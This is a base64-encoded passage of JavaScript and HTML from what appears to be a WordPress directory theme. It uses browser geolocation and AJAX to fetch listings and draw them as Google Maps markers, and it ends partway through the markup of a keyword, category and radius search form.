Lmdlb2xvY2F0aW9uKSB7CgkJCW5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oZnVuY3Rpb24ocG9zaXRpb24pIHsKCgkJCQlnZW9JbnB1dExhdC52YWwocG9zaXRpb24uY29vcmRzLmxhdGl0dWRlKTsKCQkJCWdlb0lucHV0TG5nLnZhbChwb3NpdGlvbi5jb29yZHMubG9uZ2l0dWRlKTsKCgkJCQllbmFibGVHZW8oKTsKCgkJCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CgkJCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJCQl9IGVsc2UgewoJCQkJCWhpZGVMb2FkaW5nKCk7CgkJCQl9CgoJCQl9LCBmdW5jdGlvbihlcnJvcil7CgkJCQlkaXNhYmxlR2VvKCk7CgkJCQloaWRlTG9hZGluZygpOwoJCQl9KTsKCQl9IGVsc2UgewoJCQlkaXNhYmxlR2VvKCk7CgkJCWhpZGVMb2FkaW5nKCk7CgkJfQoKCX0gZWxzZSB7CgoJCWlmKHNlYXJjaC5kYXRhKCdpbnRlcmFjdGl2ZScpID09ICd5ZXMnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoKCX0KCn0pOwoKZnVuY3Rpb24gYWpheEdldE1hcmtlcnMoYWpheCxnZW9sb2MscmV3cml0ZUNhdGVnb3J5LHJld3JpdGVMb2NhdGlvbixyZXNldCkgewoKCXNob3dMb2FkaW5nKCk7CgoJcmFkaXVzID0gbmV3IEFycmF5KCk7CgoJdmFyIGNhdGVnb3J5ID0gMDsKCXZhciBsb2NhdGlvbiA9IDA7Cgl2YXIgc2VhcmNoID0gJyc7Cgl2YXIgbG9jYWxlID0gJ2VuJzsKCglpZihhamF4KXsKCQlpZihyZXdyaXRlQ2F0ZWdvcnkpewoJCQljYXRlZ29yeSA9IHJld3JpdGVDYXRlZ29yeTsKCQl9IGVsc2UgewoJCQljYXRlZ29yeSA9ICQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoKTsKCQl9CgkJaWYocmV3cml0ZUxvY2F0aW9uKXsKCQkJbG9jYXRpb24gPSByZXdyaXRlTG9jYXRpb247CgkJfSBlbHNlIHsKCQkJbG9jYXRpb24gPSAkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCk7CgkJfQoJCXNlYXJjaCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLnZhbCgpOwoKCQl2YXIgYWpheEdlbyA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvJykuYXR0cigiY2hlY2tlZCIpOwoKCQlpZihhamF4R2VvICYmICFyZXNldCl7CgkJCXZhciBpbnB1dFJhZGl1cyA9IGdlb0lucHV0UmFkaXVzLnZhbCgpOwoJCQlpZighaXNOYU4oaW5wdXRSYWRpdXMpKXsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KGlucHV0UmFkaXVzKSk7CgkJCX0gZWxzZSB7CgkJCQlnZW9JbnB1dFJhZGl1cy52YWwoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKTsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSkpOwoJCQl9CgkJCXJhZGl1cy5wdXNoKHBhcnNlRmxvYXQoZ2VvSW5wdXRMYXQudmFsKCkpKTsKCQkJcmFkaXVzLnB1c2gocGFyc2VGbG9hdChnZW9JbnB1dExuZy52YWwoKSkpOwoJCX0KCX0gZWxzZSB7CgkJaWYocmVzZXQpewoJCQljYXRlZ29yeSA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdjYXRlZ29yeScpKTsKCQkJbG9jYXRpb24gPSBwYXJzZUludChtYXBEaXYuZGF0YSgnbG9jYXRpb24nKSk7CgkJCXNlYXJjaCA9IG1hcERpdi5kYXRhKCdzZWFyY2gnKTsKCQl9IGVsc2UgewoJCQlpZihnZW9sb2MpewoJCQkJcmFkaXVzLnB1c2gocGFyc2VJbnQoKSk7CgkJCQlyYWRpdXMucHVzaChnZW9sb2MubGF0KCkpOwoJCQkJcmFkaXVzLnB1c2goZ2VvbG9jLmxuZygpKTsKCgkJCQljYXRlZ29yeSA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdjYXRlZ29yeScpKTsKCQkJCWxvY2F0aW9uID0gcGFyc2VJbnQobWFwRGl2LmRhdGEoJ2xvY2F0aW9uJykpOwoJCQkJc2VhcmNoID0gbWFwRGl2LmRhdGEoJ3NlYXJjaCcpOwoJCQl9CgkJfQoJfQoJLy8gZ2V0IGl0ZW1zIGZyb20gYWpheAoJJC5wb3N0KAoJCS8vIE15QWpheCBkZWZpbmVkIGluIGZ1bmN0aW9ucy5waHAKCQlNeUFqYXguYWpheHVybCwKCSAgICB7CgkgICAgICAgIGFjdGlvbiA6ICdnZXRfaXRlbXMnLAoJICAgICAgICBjYXRlZ29yeSA6IGNhdGVnb3J5LAoJICAgICAgICBsb2NhdGlvbiA6IGxvY2F0aW9uLAoJICAgICAgICBzZWFyY2ggOiBzZWFyY2gsCgkgICAgICAgIHJhZGl1cyA6IHJhZGl1cywKCSAgICAgICAgd3BtbF9sYW5nIDogbG9jYWxlCgkgICAgfSwKCSAgICBmdW5jdGlvbiggcmVzcG9uc2UgKSB7CgkgICAgCS8vIHNob3cgcmVzZXQgYWpheCBidXR0b24KCSAgICAJaWYoKCFyZXNldCkgJiYgKCFnZW9sb2MpICYmICgkKCcjZGlyZWN0b3J5LXNlYXJjaCcpLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpKXsKCSAgICAJCSQoJyNkaXJlY3Rvcnktc2VhcmNoIC5yZXNldC1hamF4Jykuc2hvdygpOwoJICAgIAl9CgkgICAgCWlmKGFqYXhHZW8gJiYgIXJlc2V0KXsKCSAgICAJCXZhciBhamF4R2VvT2JqID0gbmV3IGdvb2dsZS5tYXBzLkxhdExuZyhwYXJzZUZsb2F0KGdlb0lucHV0TGF0LnZhbCgpKSxwYXJzZUZsb2F0KGdlb0lucHV0TG5nLnZhbCgpKSk7CgkgICAgCQlnZW5lcmF0ZU1hcmtlcnMocmVzcG9uc2UsYWpheEdlb09iaix0cnVlKTsKCSAgICAJfSBlbHNlIHsKCSAgICAJCWdlbmVyYXRlTWFya2VycyhyZXNwb25zZSxnZW9sb2MpOwoJICAgIAl9CgkgICAgfQoJKQoJLmZhaWwoZnVuY3Rpb24oZSkgeyBjb25zb2xlLmxvZygiQUpBWCBFUlJPUiIsIGUpOyB9KTsKfQoKZnVuY3Rpb24gZ2VuZXJhdGVNYXJrZXJzKGRhdGFSYXcsZ2VvbG9jLGFqYXhHZW8pIHsKCgkvLyBjbGVhciBtYXAKCWluZm9ib3guY2xvc2UoKTsKCW1hcERpdi5nbWFwMyh7IGNsZWFyOiB7IH0gfSk7CgoJbWFwLnNldFpvb20oMTApOwoKCXZhciBsZW4gPSAkLm1hcChkYXRhUmF3LCBmdW5jdGlvbihuLCBpKSB7IHJldHVybiBpOyB9KS5sZW5ndGg7CgoJdmFyIGkgPSAwOwoJLy8gcHJlcGFyZSBkYXRhCgl2YXIgZGF0YSA9IG5ldyBBcnJheSgpOwoJZm9yKHZhciBrZXkgaW4gZGF0YVJhdyl7CgkJaWYgKCEoZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xhdGl0dWRlJ10gPT0gIjAiICYmIGRhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMb25naXR1ZGUnXSA9PSAiMCIpKSB7CgkJCXZhciByYXRpbmcgPSAnJzsKCQkJaWYoZGF0YVJhd1trZXldLnJhdGluZyl7CgkJCQlyYXRpbmcgKz0gJzxkaXYgY2xhc3M9InJhdGluZyI+JzsKCQkJCWZvciAodmFyIGogPSAxOyBqIDw9IGRhdGFSYXdba2V5XS5yYXRpbmdbJ21heCddOyBqKyspIHsKCQkJCQlyYXRpbmcgKz0gJzxkaXYgY2xhc3M9InN0YXInOwoJCQkJCWlmKGogPD0gZGF0YVJhd1trZXldLnJhdGluZ1sndmFsJ10pIHsKCQkJCQkJcmF0aW5nICs9ICcgYWN0aXZlJzsKCQkJCQl9CgkJCQkJcmF0aW5nICs9ICciPjwvZGl2Pic7CgkJCQl9CgkJCQlyYXRpbmcgKz0gJzwvZGl2Pic7CgkJCX0KCgkJCXZhciB0aHVtYkNvZGUgPSAoZGF0YVJhd1trZXldLnRpbXRodW1iVXJsKSA/ICcgd2l0aC1pbWFnZSI+PGltZyBzcmM9IicrZGF0YVJhd1trZXldLnRpbXRodW1iVXJsKyciIGFsdD0iIiAvPicgOiAnIj4nOwoJCQlkYXRhW2ldID0gewoJCQkJbGF0TG5nOiBbZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xhdGl0dWRlJ10sZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xvbmdpdHVkZSddXSwKCQkJCW9wdGlvbnM6IHsKCQkJCQlpY29uOiBkYXRhUmF3W2tleV0ubWFya2VyLAoJCQkJCXNoYWRvdzogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9pY29uLXNoYWRvdy5wbmciLAoJCQkJfSwKCQkJCWRhdGE6ICc8ZGl2IGNsYXNzPSJtYXJrZXItaG9sZGVyIj48ZGl2IGNsYXNzPSJtYXJrZXItY29udGVudCcrdGh1bWJDb2RlKyc8ZGl2IGNsYXNzPSJtYXAtaXRlbS1pbmZvIj48ZGl2IGNsYXNzPSJ0aXRsZSI+JytkYXRhUmF3W2tleV0ucG9zdF90aXRsZSsnPC9kaXY+JytyYXRpbmcrJzxkaXYgY2xhc3M9ImFkZHJlc3MiPicrZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbImFkZHJlc3MiXSsnPC9kaXY+PGEgaHJlZj0iJytkYXRhUmF3W2tleV0ubGluaysnIiBjbGFzcz0ibW9yZS1idXR0b24iPlZJRVcgTU9SRTwvYT48L2Rpdj48ZGl2IGNsYXNzPSJhcnJvdyI+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+JwoJCQl9OwoJCQlpKys7CgkJfQogICAgfQoKICAgIC8vIHNob3cgZ2VvbG9jIG1hcmtlcgogICAgaWYoZ2VvbG9jKXsKICAgIAltYXBEaXYuZ21hcDMoewoJCQltYXJrZXI6IHsKICAgIAkJCWxhdExuZzogZ2VvbG9jLAogICAgCQkJb3B0aW9uczogewogICAgCQkJCWFuaW1hdGlvbjogZ29vZ2xlLm1hcHMuQW5pbWF0aW9uLkRST1AsCiAgICAJCQkJekluZGV4OiAxMDAwLAogICAgCQkJCWljb246ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZ2VvbG9jYXRpb24tcGluLnBuZyIKICAgIAkJCX0KICAgIAkJfQogICAgCX0pOwoJfQoKCS8vIGdlbmVyYXRlIG1hcmtlcnMgaW4gbWFwCgl2YXIgbWFwT2JqID0gewoJCW1hcmtlcjogewoJCQl2YWx1ZXM6IGRhdGEsCgkJCW9wdGlvbnM6ewoJCQkJZHJhZ2dhYmxlOiBmYWxzZQoJCQl9LAoJCQljbHVzdGVyOnsKCQkJCXJhZGl1czogMjAsCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMCBtYXJrZXJzCgkJCQkwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0xJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiAyMCBtYXJrZXJzCgkJCQkyMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMic+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gNTAgbWFya2VycwoJCQkJNTA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTMnPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJZXZlbnRzOiB7CgkJCQkJY2xpY2s6IGZ1bmN0aW9uKGNsdXN0ZXIpIHsKCQkJCQkJbWFwLnBhblRvKGNsdXN0ZXIubWFpbi5nZXRQb3NpdGlvbigpKTsKCQkJCQkJbWFwLnNldFpvb20obWFwLmdldFpvb20oKSArIDIpOwoJCQkJCX0KCQkJCX0KICAgICAgICAgIAl9LAoJCQlldmVudHM6IHsKCQkJCWNsaWNrOiBmdW5jdGlvbihtYXJrZXIsIGV2ZW50LCBjb250ZXh0KXsKCQkJCQltYXAucGFuVG8obWFya2VyLmdldFBvc2l0aW9uKCkpOwoKCQkJCQlpbmZvYm94LnNldENvbnRlbnQoY29udGV4dC5kYXRhKTsKCQkJCQlpbmZvYm94Lm9wZW4obWFwLG1hcmtlcik7CgoJCQkJCS8vIGlmIG1hcCBpcyBzbWFsbAoJCQkJCXZhciBpV2lkdGggPSAyNjA7CgkJCQkJdmFyIGlIZWlnaHQgPSAzMDA7CgkJCQkJaWYoKG1hcERpdi53aWR0aCgpIC8gMikgPCBpV2lkdGggKXsKCQkJCQkJdmFyIG9mZnNldFggPSBpV2lkdGggLSAobWFwRGl2LndpZHRoKCkgLyAyKTsKCQkJCQkJbWFwLnBhbkJ5KG9mZnNldFgsMCk7CgkJCQkJfQoJCQkJCWlmKChtYXBEaXYuaGVpZ2h0KCkgLyAyKSA8IGlIZWlnaHQgKXsKCQkJCQkJdmFyIG9mZnNldFkgPSAtKGlIZWlnaHQgLSAobWFwRGl2LmhlaWdodCgpIC8gMikpOwoJCQkJCQltYXAucGFuQnkoMCxvZmZzZXRZKTsKCQkJCQl9CgoJCQkJfQoJCQl9CgkJfQoJfTsKCglpZihnZW9sb2MpewoJCWlmKGFqYXhHZW8pewoJCQl2YXIgaW5wdXRSYWRpdXMgPSBnZW9JbnB1dFJhZGl1cy52YWwoKTsKCQkJaWYoIWlzTmFOKGlucHV0UmFkaXVzKSl7CgkJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoZ2VvSW5wdXRSYWRpdXMudmFsKCkpICogMTAwMDsKCQkJfSBlbHNlIHsKCQkJCXZhciByYWRpdXNJbk0gPSBwYXJzZUludChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpICogMTAwMDsKCQkJfQoJCQkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJCQltYXBPYmouY2lyY2xlID0gewoJCQkJb3B0aW9uczogewoJCQkJCWNlbnRlcjogZ2VvbG9jLAoJCQkJCXJhZGl1cyA6IHJhZGl1c0luTSwKCQkJCQl2aXNpYmxlIDogdHJ1ZSwKCQkJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJCQl9CgkJCX0KCQl9IGVsc2UgewoJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoKSAqIDEwMDA7CgkJCS8vIGF1dG9maXQgYnkgY2lyY2xlCgkJCW1hcE9iai5jaXJjbGUgPSB7CgkJCQlvcHRpb25zOiB7CgkJCQkJY2VudGVyOiBnZW9sb2MsCgkJCQkJcmFkaXVzIDogcmFkaXVzSW5NLAoJCQkJCXZpc2libGUgOiBmYWxzZSwKCQkJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJCQl9CgkJCX0KCQl9Cgl9CgoJaGlkZUxvYWRpbmcoKTsKCgltYXBEaXYuZ21hcDMoIG1hcE9iaiwgImF1dG9maXQiICk7CgoJaWYobGVuID09IDEgJiYgIWdlb2xvYyl7CgkJbWFwLnNldFpvb20oMTApOwoJfQoKfQoKZnVuY3Rpb24gZ2VuZXJhdGVPbmx5R2VvKGxhdCxsbmcscmFkaXVzKSB7Cgl2YXIgZ2VvbG9jID0gbmV3IGdvb2dsZS5tYXBzLkxhdExuZyhwYXJzZUZsb2F0KGxhdCkscGFyc2VGbG9hdChsbmcpKTsKCS8vIGdlbmVyYXRlIGdlbyBwaW4KCW1hcERpdi5nbWFwMyh7CgkJbWFya2VyOiB7CgkJCWxhdExuZzogZ2VvbG9jLAoJCQlvcHRpb25zOiB7CgkJCQlhbmltYXRpb246IGdvb2dsZS5tYXBzLkFuaW1hdGlvbi5EUk9QLAoJCQkJekluZGV4OiAxMDAwLAoJCQkJaWNvbjogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9nZW9sb2NhdGlvbi1waW4ucG5nIgoJCQl9CgkJfQoJfSk7CgkvLyBnZW5lcmF0ZSBhbmQgYXV0b2ZpdCBieSBjaXJjbGUKCXZhciBtYXBPYmogPSB7fTsKCXZhciByYWRpdXNJbk0gPSBwYXJzZUludChyYWRpdXMpICogMTAwMDsKCS8vIGF1dG9maXQgYnkgY2lyY2xlCgltYXBPYmouY2lyY2xlID0gewoJCW9wdGlvbnM6IHsKCQkJY2VudGVyOiBnZW9sb2MsCgkJCXJhZGl1cyA6IHJhZGl1c0luTSwKCQkJdmlzaWJsZSA6IHRydWUsCgkJCWZpbGxPcGFjaXR5IDogMC4xNSwKCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQlzdHJva2VDb2xvciA6ICIjMmM4MmJlIgoJCX0KCX0KCW1hcERpdi5nbWFwMyggbWFwT2JqLCAiYXV0b2ZpdCIgKTsKfQoKdmFyIGNvbnRlbnREaXYgPSAkKCcjbWFpbiAjY29udGVudCcpOwp2YXIgY3VyckNvbnRlbnQgPSBjb250ZW50RGl2Lmh0bWwoKTsKdmFyIGFqYXhDb250ZW50OwoKZnVuY3Rpb24gZ2VuZXJhdGVDb250ZW50KGRhdGEpIHsKCgl2YXIgbGVuZ3RoID0gJC5tYXAoZGF0YSwgZnVuY3Rpb24obiwgaSkgeyByZXR1cm4gaTsgfSkubGVuZ3RoOwoKCWNvbnRlbnREaXYuZmluZCgnLmFqYXgtY29udGVudCcpLnJlbW92ZSgpOwoJdmFyIHRpdGxlOwoJaWYobGVuZ3RoID09IDApewoJCXRpdGxlID0gJCgnPGhlYWRlciBjbGFzcz0iZW50cnktaGVhZGVyIj48L2hlYWRlcj4nKTsKCX0gZWxzZSB7CgkJdGl0bGUgPSAkKCc8aGVhZGVyIGNsYXNzPSJlbnRyeS1oZWFkZXIiPjwvaGVhZGVyPicpOwoJfQoKCXZhciBodG1sOwoJaWYobGVuZ3RoID4gMCl7CgkJaHRtbCA9ICQoJzx1bCBjbGFzcz0iaXRlbXMiPjwvdWw+Jyk7Cgl9Cgl2YXIgbGltaXQgPSAzMDsKCWlmKGxpbWl0ID4gbGVuZ3RoKSB7CgkJbGltaXQgPSBsZW5ndGg7Cgl9Cgl2YXIgaSA9IDA7Cglmb3IodmFyIGtleSBpbiBkYXRhKXsKCQl2YXIgdGh1bWJuYWlsSHRtbDsKCQlpZihkYXRhW2tleV0udGltdGh1bWJVcmxDb250ZW50KXsKCQkJdmFyIHRodW1ibmFpbEh0bWwgPSAnPGRpdiBjbGFzcz0idGh1bWJuYWlsIj48aW1nIHNyYz0iJytkYXRhW2tleV0udGltdGh1bWJVcmxDb250ZW50KyciIGFsdD0iSXRlbSB0aHVtYm5haWwiIC8+PGRpdiBjbGFzcz0iY29tbWVudC1jb3VudCI+JytkYXRhW2tleV0uY29tbWVudF9jb3VudCsnPC9kaXY+PC9kaXY+JzsKCQl9IGVsc2UgewoJCQl0aHVtYm5haWxIdG1sID0gJyc7CgkJfQoJCXZhciByYXRpbmcgPSAnJzsKCQlpZihkYXRhW2tleV0ucmF0aW5nKXsKCQkJcmF0aW5nICs9ICc8c3BhbiBjbGFzcz0icmF0aW5nIj4nOwoJCQlmb3IgKHZhciBpID0gMTsgaSA8PSBkYXRhW2tleV0ucmF0aW5nWydtYXgnXTsgaSsrKSB7CgkJCQlyYXRpbmcgKz0gJzxzcGFuIGNsYXNzPSJzdGFyJzsKCQkJCWlmKGkgPD0gZGF0YVtrZXldLnJhdGluZ1sndmFsJ10pIHsKCQkJCQlyYXRpbmcgKz0gJyBhY3RpdmUnOwoJCQkJfQoJCQkJcmF0aW5nICs9ICciPjwvc3Bhbj4nOwoJCQl9CgkJCXJhdGluZyArPSAnPC9zcGFuPic7CgkJfQoJCXZhciBkZXNjcmlwdGlvbkh0bWwgPSAnPGRpdiBjbGFzcz0iZGVzY3JpcHRpb24iPicrZGF0YVtrZXldLmV4Y2VycHREaXIrJzwvZGl2Pic7CgkJaHRtbC5hcHBlbmQoJzxsaSBjbGFzcz0iaXRlbSBjbGVhciI+Jyt0aHVtYm5haWxIdG1sK2Rlc2NyaXB0aW9uSHRtbCsnPC9saT4nKTsKCQlpZihpIDw9IGxpbWl0KXsKCQkJaSsrOwoJCX0gZWxzZSB7CgkJCWJyZWFrOwoJCX0KCX07CglhamF4Q29udGVudCA9ICQoJzxkaXYgY2xhc3M9ImFqYXgtY29udGVudCI+PC9kaXY+JykuaHRtbCh0aXRsZSkuYXBwZW5kKGh0bWwpOwoJY29udGVudERpdi5maW5kKCc+JykuaGlkZSgpOwoJY29udGVudERpdi5hcHBlbmQoYWpheENvbnRlbnQpOwp9CgovLyByZXNldCBzZWFyY2ggYWpheCB2YWx1ZXMKJCgnI2RpcmVjdG9yeS1zZWFyY2ggLnJlc2V0LWFqYXgnKS5jbGljayhmdW5jdGlvbiAoKSB7CgoJLy8gZ2V0IGRlZmF1bHQgdmFsdWVzCglhamF4R2V0TWFya2VycyhmYWxzZSxmYWxzZSxmYWxzZSxmYWxzZSx0cnVlKTsKCgoJJCgnI2Rpci1zZWFyY2hpbnB1dC10ZXh0JykudmFsKCIiKTsKCS8vIGZvciBJRQoJJCgnc3Bhbi5mb3ItZGlyLXNlYXJjaGlucHV0LXRleHQgbGFiZWwnKS5zaG93KCk7CgoJJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbicpLnZhbCgiIik7CgkkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCIwIik7CgkvLyBmb3IgSUUKCSQoJ3NwYW4uZm9yLWRpci1zZWFyY2hpbnB1dC1jYXRlZ29yeSBsYWJlbCcpLnNob3coKTsKCgkkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5JykudmFsKCIiKTsKCSQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoIjAiKTsKCS8vIGZvciBJRQoJJCgnc3Bhbi5mb3ItZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uIGxhYmVsJykuc2hvdygpOwoKCSQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvJykuYXR0cignY2hlY2tlZCcsZmFsc2UpOwoJJCgnZGl2LmlwaG9uZS1zdHlsZVtyZWw9ZGlyLXNlYXJjaGlucHV0LWdlb10nKS5yZW1vdmVDbGFzcygnb24nKS5hZGRDbGFzcygnb2ZmJyk7CgoJLy9nZW9JbnB1dFJhZGl1cy52YWwoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKTsKCgkvLyBoaWRlIGNsb3NlIGljb24KCSQodGhpcykuaGlkZSgpOwp9KTsKfSk7Cjwvc2NyaXB0PgoJCQk8ZGl2IGlkPSJkaXJlY3Rvcnktc2VhcmNoIiBkYXRhLWludGVyYWN0aXZlPSJubyI+CgkJCQk8ZGl2IGNsYXNzPSJkZWZhdWx0Q29udGVudFdpZHRoIGNsZWFyZml4Ij4KCQkJCQk8Zm9ybSBhY3Rpb249Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8iIGlkPSJkaXItc2VhcmNoLWZvcm0iIG1ldGhvZD0iZ2V0IiBjbGFzcz0iZGlyLXNlYXJjaGZvcm0iPgoJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWlucHV0cyI+CgkJCQkJCQk8ZGl2IGlkPSJkaXItaG9sZGVyIj4KCQkJCQkJCQk8ZGl2IGNsYXNzPSJkaXItaG9sZGVyLXdyYXAiPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzIiBpZD0iZGlyLXNlYXJjaGlucHV0LXRleHQiIHBsYWNlaG9sZGVyPSJTZWFyY2gga2V5d29yZC4uLiIgY2xhc3M9ImRpci1zZWFyY2hpbnB1dCIgLz4KCgkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIiBjbGFzcz0iZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIj4KCQkJCQkJCQkJPGRpdiBjbGFzcz0iaWNvbiI+PC9kaXY+CgkJCQkJCQkJCTxkaXYgaWQ9ImRpci1zZWFyY2gtYWR2YW5jZWQiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJ0ZXh0Ij5TZWFyY2ggYXJvdW5kIG15IHBvc2l0aW9uPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJ0ZXh0LWdlby1yYWRpdXMgY2xlYXIiPgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1yYWRpdXMiPlJhZGl1czo8L2Rpdj4KCQkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJtZXRyaWMiPmttPC9kaXY+CgkJCQkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imdlby1yYWRpdXMiIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvLXJhZGl1cyIgdmFsdWU9IjEwMCIgZGF0YS1kZWZhdWx0LXZhbHVlPSIxMDAiIC8+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1zbGlkZXIiPgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9InZhbHVlLXNsaWRlciI+PC9kaXY+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1idXR0b24iPgoJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ2VvIiBpZD0iZGlyLXNlYXJjaGlucHV0LWdlbyIgLz4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1hZHZhbmNlZC1jbG9zZSI+PC9kaXY+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imdlby1sYXQiIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvLWxhdCIgdmFsdWU9IjAiIC8+CgkJCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ2VvLWxuZyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tbG5nIiB2YWx1ZT0iMCIgLz4KCgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIGlkPSJkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnkiIHBsYWNlaG9sZGVyPSJBbGwgY2F0ZWdvcmllcyIgLz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY2F0ZWdvcmllcyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCIgdmFsdWU9IjAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgLz4KCgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIGlkPSJkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24iIHBsYWNlaG9sZGVyPSJBbGwgbG9jYXRpb25zIiAvPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2NhdGlvbnMiIGlkPSJkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQiIHZhbHVlPSIwIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiIC8+CgoJCQkJCQkJCTxkaXYgY2xhc3M9InJlc2V0LWFqYXgiPjwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJPC9kaXY+CgkJCQkJCTwvZGl2PgoKCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1idXR0b24iPgoJCQkJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlYXJjaCIgY2xh